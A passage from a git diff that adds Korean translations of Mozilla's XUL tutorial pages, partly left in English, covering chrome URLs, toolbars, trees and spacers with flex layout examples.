설치된 꾸러미는 보안 제한사항에 구애받지 않는다는 장점을 가지는데, 이것은 많은 응용프로그램에 필요한 것입니다. 다른 URL 타입에 대한 또 다른 장점은 이것들이 다중 테마와 로케일을 자동으로 처리한다는 점입니다. 예를 들어 chrome URL은 여러분이 현재 사용중인 테마가 무엇인지 몰라도 테마에 포함된 이미지와 같은 파일을 참조하도록 해 줍니다. 각 테마내 파일 이름이 같다면 여러분은 chrome URL을 이용해서 파일을 참조할 수 있습니다. Mozilla는 파일이 어디에 위치하는지 결정하는데 신경 쓸 것이고 올바른 데이터를 반환할 것입니다. 이는 꾸러미가 이에 접근하기 위해 설치되어 있는 장소에 구애받지 않는다는 것을 의미합니다. Chrome URL은 파일들의 물리적인 위치에 독립적입니다. 이는 파일의 위치와 관련된 많은 부분을 신경 쓰지 않고도 다수의 파일을 가진 응용프로그램을 작성하기 쉽게 만들어 줍니다.

+

Chrome URL의 기본 구문은 다음과 같습니다.

+
chrome://<package name>/<part>/<file.xul>
+
+

<package name>은 messenger나 editor와 같은 꾸러미 이름을 가리킵니다. <part>는 'content', 'skin', 'locale' 중에 하나가 될 수 있으며 여러분이 원하는 것에 따라 달라집니다. 'file.xul'은 그냥 파일 이름입니다.

+

Example: chrome://messenger/content/messenger.xul

+

위의 예제는 메신저 창을 가리킵니다. 여러분은 부분(part)에 해당하는 'content'를 'skin'으로 변경하고 파일명을 바꾸기만 하면 파일을 가리킬 수 있습니다. 비슷하게 'content' 대신 'locale'을 사용하면 로케인 부분의 파일을 가리킬 수 있습니다.

+

여러분이 chrome URL을 열면, Mozilla는 설치된 꾸러미 리스트를 조사하여 꾸러미 이름과 부분(part)이 일치하는 JAR 파일이나 디렉토리를 위치시키려고 합니다. Chrome URL과 JAR 파일들간의 연결은 chrome 디렉토리에 저장되어 있는 선언 파일에 명시되어 있습니다. 여러분이 messenger.jar 파일을 다른 곳으로 옮기더라도 선언 파일을 이에 맞게 수정한다면, Thunderbird는 특정 설치 위치에 의존하지 않기 때문에 정상적으로 동작합니다. Chrome URL을 사용함으로써 이와 같은 세부 사항은 Mozilla가 처리하도록 할 수 있습니다. 이와 유사하게, 사용자가 테마를 바꾸더라도 chrome URL의 'skin' 부분이 다른 파일들로 번역되고 따라서 XUL과 스크립트는 수정할 필요가 없게 됩니다.

+

아래 몇가지 예제가 있습니다. 어떠한 URL도 어떤 테마나 로케일을 사용하는지 명시하지 않았고 특정 디렉토리 또한 명시되지 않았음을 잘 보세요.

+
chrome://messenger/content/messenger.xul
+chrome://messenger/content/attach.js
+chrome://messenger/skin/icons/folder-inbox.gif
+chrome://messenger/locale/messenger.dtd
+
+

하위 디렉토리를 참조하기 위해서는 chrome URL의 끝에 하위 디렉토리를 붙여 주기만 하면 됩니다. 다음 URL들은 북마크 창을 참조하는 것으로 꾸러미 이름이 Mozilla Suite와 Firefox에서 서로 틀리기 때문에 모두 열거하였습니다.

+
chrome://communicator/content/bookma...rksManager.xul (Mozilla)
+chrome://browser/content/bookmarks/b...rksManager.xul (Firefox)
+
+

여러분은 일반적인 URL이 사용되는 어디서나 chrome URL을 사용할 수 있습니다. 여러분은 Mozilla 브라우저 창의 URL 바에도 직접 입력할 수 있습니다. 만일 브라우저의 주소 영역에 위에서 언급한 URL 중의 하나를 입력하면, 웹 페이지가 출력되는 것과 같이 창이 출력되는 것을 보게 될 것이고, 별도의 창인 것처럼 대부분의 기능들이 동작합니다. 그러나 어떤 대화상자들은 올바로 작동하지 않을 수도 있는데 이는 그들이 열릴 때 윈도우에서 특정 인자(argument)를 제공해야 할 필요가 있기 때문일 수도 있습니다.

+

여러분은 다음과 같이 파일명을 명시하지 않은 chrome URL을 볼 수도 있습니다.

+
chrome://browser/content/
+
+

이 경우에는 꾸러미 이름과 부분(part)만이 명시되어 있습니다. 이런 종류의 참조는 자동으로 올바른 디렉토리에서 적절한 파일이 선택됩니다. Content일 경우에는 꾸러미 이름과 동일한 이름인 xul 확장자를 가진 파일이 선택됩니다. 위의 예제에서는 browser.xul 파일이 선택됩니다. messenger일 경우에는 messenger.xul 파일이 선택될 것입니다. 여러분의 응용 프로그램을 만들 때는 짧은 형태를 사용하여 참조할 수 있도록 메인 윈도우에 해당하는 파일을 꾸러미 이름과 동일하게 만들고자 할 것입니다. 이렇게 하면 사용자는 꾸러미 이름만 알면 되므로 응용프로그램을 여는데 수월해 집니다. 물론, 확장 기능과 같이 브라우저의 인터페이스를 수정하는 경우에는 UI를 통해 자신을 표현하기 때문에 사용자가 URL을 꼭 알 필요가 없습니다.

+

스킨인 경우에는 <package name>.css 파일이 선택되고, 로케일에서는 <package name>.dtd가 선택됩니다.

+

Chrome URL은 디스크 상의 위치와 관련 없다는 것을 기억하세요. Chrome URL의 앞 두 부분은 꾸러미 이름과 부분(part)(content, skin, locale 중 하나)입니다. 컨텐츠 파일은 보통 'content'라는 디렉토리에 넣지만 이건 관습적인 것일 뿐이고, 이러한 파일들이 완전히 다른 구조에 위치해도 상관없습니다.

+

다음 섹션에서는 .manifest 파일과 꾸러미를 어떻게 만드는지 알아볼 것입니다.

+

+

« 이전다음 »

+

+

Interwiki Language Links

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/toolbars/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/toolbars/index.html new file mode 100644 index 0000000000..157184118b --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/toolbars/index.html @@ -0,0 +1,107 @@ +--- +title: Toolbars +slug: Mozilla/Tech/XUL/XUL_Tutorial/Toolbars +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Toolbars +--- +

+

« 이전다음 »

+

+ +

툴바(toolbar)는 보통 창의 상단에 위치하면서 일반적인 기능을 수행하는 여러 버튼을 포함합니다. XUL은 툴바를 만드는 방법을 제공합니다.

+ +

툴바 추가하기

+ +

다른 요소들처럼 XUL 툴바도 상자 유형 중 하나입니다. 보통 툴바에는 버튼들이 놓여지지만, 어떤 요소도 툴바에 놓을 수 있습니다. 예를 들어, Mozilla 브라우저에는 페이지 URL을 표시하는 글상자를 포함한 툴바가 있습니다.

+ +

툴바는 창내의 가로 혹은 세로 어떤 방향으로도 위치될 수 있습니다. 물론 글상자를 세로 툴바에 두지는 않을 것입니다. 사실 툴바는 그냥 상자이기 때문에 원하는 곳 어디든 위치할 수 있으며, 창의 중앙에도 배치할 수 있습니다. 그러나 대개 툴바들은 창의 상단에 나타나는게 보통입니다. 여러개의 툴바가 순서대로 위치하면, 보통 '툴박스(toolbox)'라고 불리는 것으로 묶게 됩니다.

+ +

툴바의 좌측면에는 작은 무늬(notch)가 있는데, 이것을 클릭하면 툴바가 접혀지고 무늬만 보이게 됩니다. 무늬는 '그리피(grippy)'라고도 부릅니다. 여러개의 툴바가 하나의 툴박스 내에 있을때, 그리피들을 클릭하면 한 줄로 닫힙니다. 이렇게 해서 툴바가 사용하는 공간을 줄이게 됩니다. 세로 방향의 툴바는 상단 모서리에 그리피가 있습니다. 일반적으로, 사용자들은 메인 윈도우의 공간을 넓히기 위해 툴바를 닫습니다.

+ +
toolbox 안에 있는 간단한 toolbar
+ +

Source View

+ +
Image:toolbar1.jpg
+ +
<toolbox>
+  <toolbar id="nav-toolbar">
+    <toolbarbutton label="Back"/>
+    <toolbarbutton label="Forward"/>
+  </toolbar>
+</toolbox>
+
+ +

이 예제는 뒤로가기(Back)와 앞으로가기(Forward) 버튼을 가진 툴바를 만듭니다. 하나의 툴바가 툴박스내에 위치하고 있습니다. 툴바와 관련하여 4가지 새로운 태그가 있는데 각 내용은 다음과 같습니다.

+ +
+
toolbox
+
툴바를 포함하는 상자.
+
+ +
+
toolbar
+
버튼과 같은 툴바 아이템을 포함하는 하나의 툴바. 툴바는 왼쪽 혹은 위쪽에 있는 그리피를 사용하여 접을 수 있습니다..
+
+ +
+
toolbarbutton
+
툴바에 있는 버튼으로 일반 버튼과 동일한 기능을 가지고 있지만 조금 다르게 출력됩니다.
+
+ +
+
toolbargrippy
+
이 요소는 툴바를 접거나 여는데 사용되는 무늬를 만듭니다. 자동으로 추가되기 때문에 직접 사용할 필요는 없습니다.
+
+ +

toolbar는 실제 툴바를 만드는 메인 요소입니다. 일반적으로 툴바에는 버튼들이 포함되는데 다른 요소들도 넣을 수 있습니다. 툴바는 id 속성을 가지는게 좋으며, 그렇지 않으면 접거나 펼칠 수 없게 될 수도 있습니다.

+ +

위 예제에서는 단지 한개의 툴바만 작성되었습니다. 첫 번째 툴바 다음에 toolbar요소를 더 추가해서 다중 툴바도 쉽게 만들 수 있습니다.

+ +

toolbox는 툴바의 컨테이너입니다. 일부 응용프로그램에서는 창의 상단에 여러개의 툴바가 있을 것입니다. 이들 모두를 toolbox 안에 넣을 수 있습니다.

+ +

여러분은 toolbar 요소를 toolbox 안에 넣어야 하는 것은 아닙니다.

+ +

툴박스에 있는 그리피

+ +
주의: Firefox에는 toolbargrippy 요소가 없습니다.
+ +

툴박스에 있는 그리피들은 toolbargrippy라는 요소를 이용해서 작성됩니다. 그리피의 목적이 툴바를 접기 위한 것이기 때문에, 툴바 밖에서 이 요소를 사용하는 것은 아무 의미가 없습니다. 그러나 좀 다른 스타일을 원할 수 도 있습니다. 여러분은 toolbar 요소의 grippyhidden 속성을 true로 설정하면 그리피를 숨길 수 있습니다.

+ +
+

동일 툴바들이지만 두 개는 접혀 있습니다.
+ Image:toolbar3.jpg

+
+ +

3개의 툴바를 가진 툴박스
+ Image:toolbar2.jpg

+ +
+

우리의 파일 찾기 예제

+ +

파일 찾기 대화창에 툴바를 넣어 보겠습니다. 사실 툴바가 꼭 필요한 것은 아니지만 설명을 위해서 추가할 것입니다. 2개의 버튼이 추가될 것인데, 열기(Open)와 저장(Save) 버튼입니다. 아마도 이것들은 사용자가 검색 결과를 저장하고 나중에 다시 열어볼 수 있게 해줄 것 같습니다.

+ +
<vbox flex="1">
+  <toolbox>
+    <toolbar id="findfiles-toolbar">
+      <toolbarbutton id="opensearch" label="Open"/>
+      <toolbarbutton id="savesearch" label="Save"/>
+    </toolbar>
+  </toolbox>
+  <tabbox>
+
+ +
Image:toolbar5.png
+ +

2개의 버튼을 가진 툴바가 추가되었습니다. 그림에서 여러분은 툴바가 상단에 가로방향으로 나타나 있는 것을 볼 수 있습니다. 그리피 또한 툴바의 왼쪽면에 보입니다. 주목할 점은 툴바가 세로 상자 내 탭상자 바로 위의 위치하고 있다는 것입니다. 이것은 툴바가 모든 것보다 앞에 나타나도록 하기 위해 세로방향을 사용했기 때문입니다.

+ +

지금까지의 파일 찾기 예제 : Source View

+
+ +

다음에는 창에 메뉴바를 넣는 방법에 대해 알아보겠습니다.

+ +

+

« 이전다음 »

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/trees/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/trees/index.html new file mode 100644 index 0000000000..23e3afa192 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/trees/index.html @@ -0,0 +1,166 @@ +--- +title: Trees +slug: Mozilla/Tech/XUL/XUL_Tutorial/Trees +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Trees +--- +

 

+

+

« 이전다음 »

+

+

XUL은 tree를 사용하여 표형태 또는 계층목록을 만드는 방법을 제공합니다.

+

트리

+

tree에서 가장 복잡한 요소중 하나가 tree입니다. listbox처럼, tree는 항목을 만드는 데 사용할 수 있습니다. tree 요소는 계층적 목록 또는 표를 만들 수도 있습니다. 예를 들어 메일 프로그램에서 메시지 목록, 또는 모질라의 북마크 편집창을 tree를 사용하여 만들 수 있습니다.

+

어떤 측면에서 tree는 listbox와 유사합니다. 둘다 다중 행과 열을 가진 표를 만드는 데 사용할 수 있으며, 둘다 열 머릿말(header)을 담을 수 있습니다. tree는 안쪽(netsted) 행을 지원하지만, listbox는 그렇지 않습니다. 하지만, listbox는 어떤 형태의 내용도 담을 수 있습니다. 반면 tree는 글과 그림 내용만 담을 수 있습니다. listbox는 단순하게 처리할 경우, tree에 대한 대안으로 만들어졌기 때문에, 필요한 경우 대신 사용할 수 있습니다. (프로그레스 바나 체크 박스 같은 경우 트리에 추가할 수 있습니다.)

+

tree는 칼럼 세트와 tree body 두 가지 부분으로 나누어 집니다. A tree consists of two parts, the set of columns, and the tree body.

+ +

elements, one for each column. Each column will appear as a header at the top of the tree.

+ +

The tree is unique in that the body of the tree consists only of a single widget which draws all of the data in the tree. This contrasts with the listbox, where individual listitem and listcell tags are used to specify the rows in the listbox. In a tree, all of the data to be displayed is supplied by a separate object, called a tree view. When it comes time to display a cell, the tree widget will call out to this tree view to determine what to display, which in turn will be drawn by the tree. The tree is smart enough to only ask for information from the view for those rows that need to be displayed. This allows the view to be optimized such that it only needs to load the data for displayed content. For instance, a tree might have thousands of rows, yet most of them will be scrolled off the border of the tree, hidden from view. This means that the tree is scalable to any number of rows without any performance problems. Of course, this is independant of the performance of the view object itself.

+

A tree view is an object which implements the nsITreeView interface. This interface contains thirty properties and functions which you may implement. These functions will be called by the tree as necessary to retrieve data and state about the tree. For instance, the getCellText() function will be called to get the label for a particular cell in the tree.

+

An advantage of using a tree view is that it allows the view to store the data in a manner which is more suitable for the data, or to load the data on demand as rows are displayed. This allows more flexibility when using trees.

+

Naturally, having to implement a tree view with thirty or so properties and methods for every tree can be very cumbersome, especially for simple trees. Fortunately, XUL provides a couple of built-in view implementations which do most of the hard work for you. For most trees, especially when you first start to use trees, you will use one of these built-in types. However, you can create a view entirely from scratch if necessary. If you do, you might store the data in an array or JavaScript data structure, or load the data from an XML file.

+

Since the entire body of the tree is a single widget, you can't change the style of individual rows or cells in the normal way. This is because there are no elements that display the individual cells, like there is with the listbox. Instead, all drawing is done by the tree body using data supplied by the view. This is an important point and many XUL developers have trouble understanding this aspect. To modify the appearance of a tree cell, the view must instead associate a set of keywords for a row and cell. A special CSS syntax is used which styles components of the tree body with those keywords. In a sense, it is somewhat like using CSS classes. Tree styling will be discussed in detail in a later section.

+

Tree 요소

+

Trees can be created with the tree element, which is described in the following sections. There are also two elements used to define the columns to be displayed in the tree.

+
+
+ tree
+
+ This is the outer element of a tree.
+
+
+
+ treecols
+
+ This element is a placeholder for a set of treecol elements.
+
+
+
+ treecol
+
+ This is used to declare a column of the tree. By using this element, you can specify additional information about how the data in the columns are sorted and if the user can resize the columns. You should always place an id attribute on a column, as Mozilla uses the ids to identify the columns when rearranging and hiding them. This is no longer required in Mozilla 1.8 and later, but it is still a good idea to use ids on columns.
+
+
+
+ treechildren
+
+ This contains the main body of the tree where the individual rows of data will be displayed.
+
+
두개 칼럼을 가진 트리
+

Source View

+
<tree flex="1">
+
+  <treecols>
+    <treecol id="nameColumn" label="Name" flex="1"/>
+    <treecol id="addressColumn" label="Address" flex="2"/>
+  </treecols>
+
+  <treechildren/>
+
+</tree>
+
+

First, the entire table is surrounded with a tree element. This declares an element that is used as a table or tree. As with HTML tables, the data in a tree is always organized into rows. The columns are specified using the treecols tag.

+

You may place as many columns as you wish in a tree. As with listboxes, a header row will appear with column labels. A drop-down menu will appear in the upper-right corner of the tree, which the user may use to show and hide individual columns. Each column is created with a treecol element. You can set the header label using the label attribute. You may also want to make the columns flexible if your tree is flexible, so that the columns stretch as the tree does. In this example, the second column will be approximately twice as wide as the first column. All of the columns should be placed directly inside a treecols element.

+

In this case we haven't specified a view to supply the tree's data, so we'll only see column headers and an empty tree body. You may have to resize the window to see anything since there isn't any data to display. Since the tree has been marked as flexible, the body will stretch to fit the available space. Making a tree flexible is quite commonly done, as it is often the case that the data in the tree is the most significant information displayed, so it makes sense to make the tree grow to fit. However, you may specify a specific number of rows to appear in a tree by setting the rows attribute on the tree element. This attribute specifies how many rows are displayed in the user interface, not how many rows of data there are. The total number of rows is supplied by the tree view. If there are more rows of data in the tree, a scrollbar will appear to allow the user to see the rest of them. If you don't specify the rows attribute, the default value is 0, which means that none of the rows will appear. In this case, you would make the tree flexible. If your tree is flexible, it doesn't need a rows attribute since it will grow to fit the available space.

+

The Content Tree View

+

Having said that the data to be displayed in a tree comes from a view and not from XUL tags, there happens to be a built-in tree view which gets its data from XUL tags. This may be a bit confusing, but essentially, one of the built-in tree views uses a set of tags which can be used to specify information about the data in the tree. The following tags are used:

+
+
+ treeitem
+
+ This contains a single parent row and all its descendants. This element also serves as the item which can be selected by the user. The treeitem tag would go around the entire row so that it is selectable as a whole.
+
+
+
+ treerow
+
+ A single row in the tree, which should be placed inside a treeitem tag.
+
+
+
+ treecell
+
+ A single cell in a tree. This element would go inside a treerow element.
+
+

Conveniently, these tags may be placed directly inside the treechildren tag, nested in the order above. The tags define the data to be displayed in the tree body. In this case, the tree uses the built-in tree view, called a content tree view, which uses the labels and values specified on these elements as the data for the tree. When the tree needs to display a row, the tree asks the content tree view for a cell's label by calling the view's getCellText function, which in turn gets the data from the label of the appropriate treecell.

+

However, the three elements listed above are not displayed directly. They are used only as the source for the data for the view. Thus, only a handful of attributes apply to the treeitem and related elements. For instance, you cannot change the appearance of the tree rows using the style attribute or with other CSS properties and the box related features such as flexibility and orientation cannot be used.

+

In fact, apart from some tree specific attributes, the only attributes that will have any effect will be the label attribute to set a text label for a cell and the src attribute to set an image. However, there are special ways of styling the tree and setting other features which we will see in later sections.

+

Also, events do not get sent to treeitem element and their children; instead they get sent to the treechildren element.

+

That the treeitems are unlike other XUL elements is a common source of confusion for XUL developers. Essentially, the tree content view is a view where the data for the cells is supplied from tags placed inside the tree. Naturally, if you are using a different kind of view, the data will be supplied from another source, and there won't be any treeitem elements at all.

+

Let's start by looking at how to create a simple tree with multiple columns using the tree content view. This could be used to create a list of mail messages. There might be multiple columns, such as the sender and the subject.

+

treechildren 예제

+

Source View

+
+ Image:trees1.png
+
<tree flex="1">
+
+  <treecols>
+    <treecol id="sender" label="Sender" flex="1"/>
+    <treecol id="subject" label="Subject" flex="2"/>
+  </treecols>
+
+  <treechildren>
+    <treeitem>
+      <treerow>
+        <treecell label="joe@somewhere.com"/>
+        <treecell label="Top secret plans"/>
+      </treerow>
+    </treeitem>
+    <treeitem>
+      <treerow>
+        <treecell label="mel@whereever.com"/>
+        <treecell label="Let's do lunch"/>
+      </treerow>
+    </treeitem>
+  </treechildren>
+
+</tree>
+
+

그림에서 보듯이, 두개의 자료 열을 가진 tree가 만들어졌습니다.

+

이 tree는 두개의 열을 가지고 있고, 이 중 두번째는 첫번째보다 더많은 공간을 차지하게 되어있습니다. 이 경우 해당 열에 flex 속성을 줄 것입니다. CSS의 width 속성으로 넓이값을 줄 수도 있습니다. tree에 있는 열의 숫자만큼 treecol 요소를 포함시켜야 한다. 그렇지않으면 엉뚱한 일이 발생합니다.

+


+ 머릿말 행(header row)은 자동으로 만들어집니다. 오른쪽 위에 있는 버튼은 해당 열을 숨기고 감출 수 있습니다. 이 버튼을 숨기고 싶다면 hidecolumnpicker 속성을 tree에 넣거나 true 값을 주면 됩니다. 각 열에 id 속성을 설정했는 지 또는 행의 숨김과 보기가 작동하는 지를 확인하도록 합니다.

+

Make sure that you set an id attribute on each column or the hiding and showing of columns will not work in all versions of Mozilla.

+

The treechildren element surrounds all of the rows. Inside the body are individual rows, which may in turn contain other rows. For a simpler tree, each row is created with the treeitem and treerow elements. The treerow element surrounds all of the cells in a single row, while a treeitem element would surround a row and all of its children. Trees with nested rows are described in the next section.

+

Inside the rows, you will put individual tree cells. These are created using the treecell element. You can set the text for the cell using the label attribute. The first treecell in a row determines the content that will appear in the first column, the second treecell determines the content that will appear in the second column, and so on.

+


+ 사용자는 마우스로 항목을 클릭하거나 키보드를 사용해서, treeitem을 선택할 수 있습니다. Shift 또는 Control 키를 누른 상태에서 다른 행을 클릭해서 다중 항목을 선택할 수 있습니다. 다중선택을 사용 못하게 하려면, tree에 seltype 속성을 넣고, 값을 single로 합니다. 이렇게하면, 한번에 한 행만 선택할 수 있습니다.

+
+

찾은 파일에서 tree 추가

+

검색결과가 표시되도록 파일찾기(find files) 창에 tree를 추가해보자. 다음 코드는 iframe에 추가해야 한다. tree는 treeview를 사용합니다. 아래 코드는 iframe에 추가할 수 있습니다.

+
<tree flex="1">
+  <treecols>
+    <treecol id="name" label="Filename" flex="1"/>
+    <treecol id="location" label="Location" flex="2"/>
+    <treecol id="size" label="Size" flex="1"/>
+  </treecols>
+
+  <treechildren>
+   <treeitem>
+     <treerow>
+       <treecell label="mozilla"/>
+       <treecell label="/usr/local"/>
+       <treecell label="2520 bytes"/>
+     </treerow>
+   </treeitem>
+  </treechildren>
+</tree>
+
+<splitter collapse="before" resizeafter="grow"/>
+
+

파일명(filename), 위치(location) 그리고 파일크기(file size)라는 3개의 행을 가진 tree를 추가한 것입니다. 두번째 열은 더 큰 flex(flex="2")값을 가지고 있기 때문에 넓이가 2배가 됩니다. 하나의 행이 추가되었는 데, 하나의 행을 가진 표가 어떤 모습인지 설명하기 위한 것입니다. 실제 마무리 단계에서는, 검색했을 경우 해당 열은 스크립트에 의해 추가될 것입니다.

+

지금까지 예제는 Source View에서 보실 수 있습니다.

+
+


+ 다음 장에서는 고급 tree 기능에 대해 알아 보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/using_spacers/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/using_spacers/index.html new file mode 100644 index 0000000000..34128c0e57 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/using_spacers/index.html @@ -0,0 +1,112 @@ +--- +title: Using Spacers +slug: Mozilla/Tech/XUL/XUL_Tutorial/Using_Spacers +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/Using_Spacers +--- +

+

« 이전다음 »

+

+

이 단원에는 우리가 만든 요소들 사이에 여백을 넣는 방법을 알아볼 것입니다.

+

여백(spacer) 넣기

+

사용자 인터페이스를 개발하는데 있어서의 문제점 중 하나는 사용자마다 서로 다른 화면 장치를 가진다는 것입니다. 어떤 사용자는 고해상도에 큰 화면을 가지고 있으며, 또 다른 사용자는 저해상도를 가지고 있을 수 있습니다. 더군다나, 다른 플랫폼은 사용자 인터페이스에 특별한 요구조건을 가지고 있을 수 있습니다. 다중 언어를 지원할 경우, 어떤 언어에 사용된 텍스트는 다른 언어보다 더 많은 공간이 필요할지도 모릅니다.

+

다중 플랫폼과 언어를 지원해야 하는 응용프로그램은 이를 위해 많은 여백을 가지는 창 배치를 합니다. 일부 플랫폼과 사용자인터페이스 툴킷은 사용자의 요구에 맞게 크기 조절과 위치 설정을 잘 처리하는 구성요소를 제공합니다. (예를 들어, 자바에서는 레이아웃 관리자를 사용합니다.)

+

XUL은 요소의 위치와 크기 재설정을 자동으로 처리할 수 있는 기능을 제공하고 있습니다. 앞서 본것 처럼, 파일 찾기 창은 내부 요소 크기에 맞게 표시되었습니다. 우리가 새로운 요소를 추가할 때마다 창 크기는 더욱 커졌습니다.

+

XUL은 '상자 모델(Box Model)'이라고 하는 레이아웃 시스템을 사용합니다. 이에 대해서는 다음 단원에서 언급할텐데, 이는 기본적으로 창을 요소를 포함한 일련의 상자로 나눌 수 있게 해줍니다. 상자는 사용자가 정의한 사양에 근거하여 위치와 크기를 조절하게 된다. 현재로써는, window 요소가 상자 형식이라는 것만 알도록 하자.

+

상자에 대한 세부 내용을 다루기 전에, 레이아웃에 유용한 또 다른 XUL 요소인 spacer를 소개할 것입니다. 여백(spacer)는 매우 단순하고 한가지 속성만을 필요로 하는데, 곧 설명하겠습니다. 가장 단순한 여백(spacer)은 다음과 같습니다.

+
<spacer flex="1"/>
+
+

spacer는 창에 공백을 넣는 데 사용됩니다. 공백 요소의 가장 유용한 점은 사용자가 창의 크기를 조절하는 것처럼 공백 자체가 늘어나거나 줄어들 수 있다는 것입니다. 창의 크기와 상관없이 버튼을 창의 오른쪽 또는 하단에 두면서 오른쪽 또는 하단 모서리에 고정시키는 것이라고 보면 됩니다. 앞으로 보겠지만, 수많은 레이아웃 효과를 주기 위해서 여러개의 공백 요소를 사용할 수 있습니다.

+

위의 구문에서, 공백 요소는 flex라는 한 가지 속성을 가지고 있습니다. 이것은 공백의 유연성을 정의하는 데 사용됩니다. 위의 경우에서, 공백은 1이라는 flex를 가집니다. 이것은 공백 요소를 신축성 있게 만들어 줍니다. 사용자가 직접 창 내부에 공백 요소를 위치시키면, 창의 크기가 변경됨에 따라 공백도 같이 늘어나게 됩니다.

+

잠시 후 파일찾기 대화창에 공백 요소를 추가할 것입니다. 그 전에 먼저 현재 대화창의 크기를 조절할 때 어떤일이 일어나는지 보도록 하겠습니다.

+

Image:springs1.jpg

+

파일찾기 창의 크기를 변경하더라도 포함된 요소들은 그것들의 원래 위치에 그대로 있는 것을 볼 수 있습니다. 창이 더 많은 공간을 가지게 되더라도, 이들 중 어느 것도 이동하거나 크기를 변경하지 않습니다. 글상자(text box)와 찾기(Fine) 버튼 사이에 공백 요소를 추가하였을 때는 어떻게 될지 보겠습니다.

+

Image:springs2.jpg

+

공백 요소를 추가하고 창 크기를 조절하면, 공백이 여백을 채우기 위해 확장되는 것을 볼 수 있습니다. 버튼들은 밀려나 위치하게 됩니다.

+
+
우리의 파일 찾기 예제
+

공백 요소를 추가한 코드는 아래와 같습니다. 해당 요소를 Find 버튼 앞에 삽입하세요.

+
<spacer flex="1"/>
+
+<button id="find-button" label="Find"/>
+
+
+

유연성에 대한 더 많은 것들

+

XUL은 요소에 적당한 넓이와 높이를 계산하여 여백을 추가하는 식으로 창에 있는 요소를 배치합니다. 사용자가 요소의 넓이와 높이에 대한 정보를 지정하지 않으면, 요소의 기본 크기는 내용에 의해 결정됩니다. 대화상자의 취소(Cancel) 버튼이 항상 기본 넓이로 설정되어 있어서 글에 맞출 수 있습니다. 매우 긴 라벨을 가진 버튼을 만든다면, 버튼의 기본 크기는 전체 라벨을 담기에 충분하게 커지게 됩니다. 글상자와 같은 다른 요소는 적당한 기본 크기를 선택한 것을 볼 수 있습니다.

+

flex 속성은 어떤 요소가 상자(이 경우, 창)에 맞출 수 있도록 크기 변경 여부를 지정하는 데 사용됩니다. 앞에서, 공백 요소에 적용된 flex 속성을 봤지만, 이 속성은 어떤 요소에도 적용할 수 있습니다. 예를 들어, 여러분은 아마 Find 버튼 크기가 수정되도록 하기를 원하실 수도 있습니다.

+

Image:springs3.jpg

+

그림에서 보는 것처럼, 찾기(Find) 버튼에 flex 속성을 지정하면, 창의 크기가 바뀌었을 때 버튼의 크기도 변경됩니다. 공백 요소는 특별한 것이 아니고 그냥 숨겨진 버튼이라고 생각하시면 됩니다. 이것은 화면에서 출력되지 않을 뿐이지, 버튼과 동일한 방식으로 동작합니다.

+

여러분이 위 그림에서 뭔가를 눈치챘을 지 모르겠습니다. 찾기(Find) 버튼의 크기가 커졌을 뿐만 아니라, 주 라벨과 버튼 사이에 약간의 여백이 나타난 것을 보실 수 있습니다. 당연한 것이지만, 이것은 앞에서 공백 요소를 넣은 것입니다. 공백 요소가 그 자체 크기를 조절한 것입니다. 자세히 보면, 변경되는 크기가 공백 요소와 버튼에 균등하게 나누어져 적용되는 것을 볼 수 있습니다. 여유 공간의 절반은 공백 요소에 나머지 절반은 버튼에 적용되는 것입니다.

+

이런 효과를 보는 이유는 공백 요소와 찾기(Find) 버튼 모두 flex 속성을 가지고 있기 때문입니다. 둘 다 flex을 가지기 때문에, 버튼과 공백 요소 모두 균일하게 크기를 변경한 것입니다.

+

만일 요소를 어떤 요소를 다른 것에 비해 두배 크기로 적용하려면 어떻게 할까? 그렇게 하려면 flex 속성값을 더 높은 숫자로 쓰면 됩니다. 요소의 flex 값은 비율을 나타냅니다. 만일 어떤 요소의 flex값이 1이고 다음 요소의 값은 2라면, 후자는 첫 번째의 두배 비율로 커지게 됩니다. 사실, flex 값이 2라는 것은 flex가 1인 요소 2개 가지고 있다고 말하는 것과 같습니다.

+

flex 속성은 실제 크기를 나타내기 위해 사용되는 것이 아닙니다. 대신 그것은 포함하는 상자의 자식들 중간에 어떻게 빈 공간을 넣을지를 나타내는 것입니다. 우리는 다음 섹션에서 상자에 대해 알아볼 것입니다. 상자의 자식들의 기본 크기가 정해지면 유연성 값(flex)은 상자 내의 빈 공간을 나누는데 사용됩니다. 예를 들어 상자의 너비가 200픽셀이고 두 개의 유연한 버튼(flex값을 가진 버튼)을 포함한 경우, 첫 번째 버튼이 50픽셀이고 다음 버튼은 90픽셀이면, 남은 공간은 60픽셀입니다. 만일 버튼 모두의 flex값이 1이면 각 버튼의 너비가 30픽셀씩 추가되어 나눠집니다. 만일 두번째 버튼의 flex값이 2로 증가하면, 첫번째 버튼은 20픽셀의 남은 공간을 두번째 버튼은 40픽셀의 추가 공간을 할당받게 됩니다.

+

flex 속성은 어떠한 요소에도 포함될 수 있지만 XUL 상자에 바로 포함되어 있는 요소에서만 의미가 있습니다. 이것은 HTML 요소에도 flex를 넣을 수 있지만, 해당 요소가 비상자(non-box) 요소의 내부에 있다면 아무 효과도 일어나지 않는다는 것을 의미합니다.

+
Flex 예제
+
예제 1:
+  <button label="Find" flex="1"/>
+  <button label="Cancel" flex="1"/>
+
+예제 2:
+  <button label="Find" flex="1"/>
+  <button label="Cancel" flex="10"/>
+
+예제 3:
+  <button label="Find" flex="2"/>
+  <button label="Replace"/>
+  <button label="Cancel" flex="4"/>
+
+예제 4:
+  <button label="Find" flex="2"/>
+  <button label="Replace" flex="2"/>
+  <button label="Cancel" flex="3"/>
+
+예제 5:
+  <html:div>
+    <button label="Find" flex="2"/>
+    <button label="Replace" flex="2"/>
+  </html:div>
+
+예제 6:
+  <button label="Find" flex="145"/>
+  <button label="Replace" flex="145"/>
+
+
+
+ 예제 1 
+
